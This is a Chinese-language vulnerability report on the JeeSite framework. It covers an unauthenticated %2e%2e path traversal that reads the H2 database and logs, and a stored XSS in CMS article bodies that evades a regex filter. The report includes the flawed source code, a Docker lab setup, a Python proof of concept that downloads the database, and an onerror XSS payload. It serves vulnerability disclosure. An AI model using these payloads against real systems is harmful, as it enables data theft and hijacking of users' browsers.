JeeSite 漏洞报告
软件名称:JeeSite
开发者或厂商:ThinkGem
代码仓库:https://gitee.com/thinkgem/jeesite
1. /userfiles/ 未授权任意文件读取
| 简要描述: | 攻击者无需账号,即可下载服务器上 userfiles 目录之外的文件,包括 H2 数据库文件与日志。 |
|---|---|
| 影响版本: | v5.8.1 ~ v5.19.1 |
| 前置条件: | 目标实例曾经上传过至少一个附件,从而 userfiles 目录存在。 |
漏洞成因
UserfilesController 处理 /userfiles/** 的请求时,从 request.getRequestURI() 中截取 /userfiles/ 之后的部分作为相对路径,交给 Global.getUserfilesBaseDir 拼接出文件的实际路径,最后用 new File(EncodeUtils.decodeUrl(filePath)) 构造文件对象,相关代码如下:
// modules/core/src/main/java/com/jeesite/modules/file/web/UserfilesController.java:36-74 commit 5b5e2cf0ad
@RequestMapping(value="/userfiles/**")
public String fileStreamDown(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String fileUri = request.getRequestURI();
String filePath = StringUtils.substringAfter(fileUri, Global.USERFILES_BASE_URL);
...
filePath = Global.getUserfilesBaseDir(filePath);
File file = new File(EncodeUtils.decodeUrl(filePath));
Global.getUserfilesBaseDir 只做字符串拼接和 FileUtils.path 规范化,既不检查结果是否仍位于 userfiles 目录之内,也不拒绝路径中的 ..,相关代码如下:
// com/jeesite/common/config/Global.java,取自 5.19.1 发行包中的 jeesite-framework-5.19.1.springboot4-SNAPSHOT.jar
public static String getUserfilesBaseDir(String string) {
String path = getProperty("file.baseDir");
...
if (!StringUtils.startsWith(object, USERFILES_BASE_URL)) {
object = USERFILES_BASE_URL + object;
}
return FileUtils.path(path + object);
}
FileUtils.path 只是把路径中的空段去掉再拼回去,.. 段会被保留,因此拼接结果可以是 userfiles 目录的上一级。EncodeUtils.decodeUrl 对 filePath 再做一次 URLDecoder.decode,于是 URI 中以百分号编码形式出现的 %2e%2e 在这里还原成 ..。Tomcat 只对未编码的 .. 做路径规范化并返回 400,编码形式则会原样传给 Servlet,所以该请求能够进入上述方法。
file.baseDir 在官方生产配置中为 /data(web-fast/src/main/resources/config/application-prod.yml:41),H2 数据库与日志分别位于 /data/jeesite-db/ 和 /data/logs/,都在 userfiles 目录的同级,一次 .. 即可到达。
复现环境搭建
使用官方 compose 文件启动,仅修改端口:
mkdir jeesite && cd jeesite
wget https://gitee.com/thinkgem/jeesite/raw/v5.19.1.springboo4/docker-compose.yml
sed -i 's/8980:8980/8978:8980/' docker-compose.yml
docker compose up -d
用 system / admin 登录后台,上传一个附件。
复现过程
匿名读取 H2 数据库、日志:
import httpx
BASE = "http://127.0.0.1:8978"
r = httpx.get(f"{BASE}/userfiles/%2e%2e/jeesite-db/jeesite5190.mv.db", timeout=120)
print("db:", r.status_code, len(r.content), r.headers.get("content-type"))
open("jeesite5190.mv.db", "wb").write(r.content)
r = httpx.get(f"{BASE}/userfiles/%2e%2e/logs/debug.log", timeout=120)
print("log:", r.status_code, len(r.content))
执行结果如下:
$ python3 traversal.py
db: 200 1794048 application/octet-stream
log: 200 1341662
用 H2 客户端打开下载到的文件,可以读取全部业务数据:
// h2q2.java
import java.sql.*;
public class h2q2 {
public static void main(String[] a) throws Exception {
Class.forName("org.h2.Driver");
Connection c = DriverManager.getConnection("jdbc:h2:" + a[0], "jeesite", "jeesite");
ResultSet r = c.createStatement().executeQuery(a[1]);
int n = r.getMetaData().getColumnCount();
while (r.next()) {
StringBuilder b = new StringBuilder();
for (int i = 1; i <= n; i++) b.append(r.getString(i)).append("\t");
System.out.println(b);
}
c.close();
}
}
执行结果如下:
$ java -cp .:h2-2.3.232.jar h2q2 ./jeesite5190 "SELECT COUNT(*) FROM js_sys_user"
25
$ java -cp .:h2-2.3.232.jar h2q2 ./jeesite5190 \
"SELECT table_name FROM information_schema.tables WHERE table_schema='PUBLIC' ORDER BY table_name LIMIT 8"
JS_APP_COMMENT
JS_APP_UPGRADE
JS_BIZ_CATEGORY
JS_CMS_ARTICLE
JS_CMS_ARTICLE_DATA
JS_CMS_ARTICLE_POSID
JS_CMS_ARTICLE_TAG
JS_CMS_CATEGORY
除了数据库与日志,file.baseDir 下的其他目录同样可以读取。
2. CMS 文章正文存储型 XSS
| 简要描述: | 拥有文章编辑权限的攻击者可在正文中植入脚本,用户打开文章时被 XSS。 |
|---|---|
| 影响版本: | v4.3.0 ~ v5.19.1 |
| 前置条件: | 攻击者拥有 cms:article:edit 权限。 |
漏洞成因
CmsArticleController.save 把表单提交的 articleData.content 直接交给 Service 入库,相关代码如下:
// modules/cms/src/main/java/com/jeesite/modules/cms/web/CmsArticleController.java:157-162 commit 5b5e2cf0ad
@RequiresPermissions("cms:article:edit")
@PostMapping(value = "save")
@ResponseBody
public String save(@Validated @ModelAttribute("article") CmsArticle article) {
articleService.save(article);
return renderResult(Global.TRUE, text("保存文章表成功!"));
}
入库前的内容处理由 XssHttpServletRequestWrapper.getParameterValues 完成,它对每个请求参数调用 EncodeUtils.xssFilter:
// com/jeesite/common/web/http/wrapper/XssHttpServletRequestWrapper.java,取自发行包 jar
public String[] getParameterValues(String string) {
String[] stringArray = super.getParameterValues(string);
if (stringArray != null) {
String[] stringArray2 = new String[stringArray.length];
for (int i = 0; i < stringArray.length; i++) {
stringArray2[i] = EncodeUtils.xssFilter(stringArray[i], getRequest());
}
return stringArray2;
}
return null;
}
xssFilter 按预定义的正则逐条删除危险片段,正则如下:
// common/src/main/java/com/jeesite/common/codec/EncodeUtils.java:208-214 commit 5b5e2cf0ad
private static final List<Pattern> xssPatterns = ListUtils.newArrayList(
Pattern.compile("(<\\s*(script|link|style|iframe|embed|object)([\\s\\S]*?)(>|<\\/\\s*\\1\\s*>))|(</\\s*(script|link|style|iframe|embed|object)\\s*>)", Pattern.CASE_INSENSITIVE),
Pattern.compile("\\s*(href|src|data)\\s*=\\s*(\"\\s*(javascript|vbscript|data):[^\"]+\"|'\\s*(javascript|vbscript|data):[^']+'|(javascript|vbscript|data):[^\\s]+)\\s*(?=>)", Pattern.CASE_INSENSITIVE),
Pattern.compile("\\s*/?\\s*on[a-zA-Z]+\\s*=\\s*(['\"]?)(.*?)\\1(?=\\s|>|/>)", Pattern.CASE_INSENSITIVE),
Pattern.compile("(eval\\((.*?)\\)|expression\\((.*?)\\))", Pattern.CASE_INSENSITIVE),
Pattern.compile("^(javascript:|vbscript:)", Pattern.CASE_INSENSITIVE)
);
第三条正则用于删除事件属性,其末尾的 (?=\\s|>|/>) 要求属性值之后紧跟空白或 >。若载荷中的事件属性后面不再出现 >,该正则便无法匹配,属性被保留下来。浏览器在解析到页面末尾时会自动闭合标签,事件属性依然生效。
正文以 <!--HTML--> 开头时,xssFilter 还会跳过对 <、>、'、" 的全角转码,相关代码如下:
// common/src/main/java/com/jeesite/common/codec/EncodeUtils.java:244-249 commit 5b5e2cf0ad
if (!StringUtils.startsWithIgnoreCase(value, "<!--HTML-->") // HTML
&& !StringUtils.startsWithIgnoreCase(value, "<?xml ") // XML
&& !(StringUtils.startsWith(value, "{") && StringUtils.endsWith(value, "}")) // JSON Object
&& !(StringUtils.startsWith(value, "[") && StringUtils.endsWith(value, "]")) // JSON Array
){
前台渲染文章正文时,模板直接把内容输出到 HTML 中,相关代码如下:
<!-- modules/cms/src/main/resources/views/modules/cmsfront/themes/default/viewArticle.html:10-12 commit 5b5e2cf0ad -->
<div class="article-content uparse">
${article.articleData.content}
</div>
Beetl 的 ${} 不对内容做 HTML 转义,因此入库的事件属性会原样进入页面。
复现环境搭建
与第 1 节相同,使用官方 compose 启动,然后登录后台。
复现过程
在后台打开需要编辑的文章,点击编辑器工具栏最右侧的“源代码”按钮,切换到源码模式后输入下面这段内容:
<!--HTML--><img src=x alt="JeeSite PoC" onerror=document.querySelector('.article-title').textContent='JeeSite_ZeroClick_XSS_Executed'

保存后,文章列表中该文章的标题正常显示:

这段内容既没有 >,也没有空白字符,第三条正则匹配不到,因此被原样保存。
浏览器打开前台文章页:
http://127.0.0.1:8978/f/view-a1000-1189377353121218560.html
页面加载完成时脚本即执行,文章标题被改写为 JeeSite_ZeroClick_XSS_Executed,全程不需要点击:
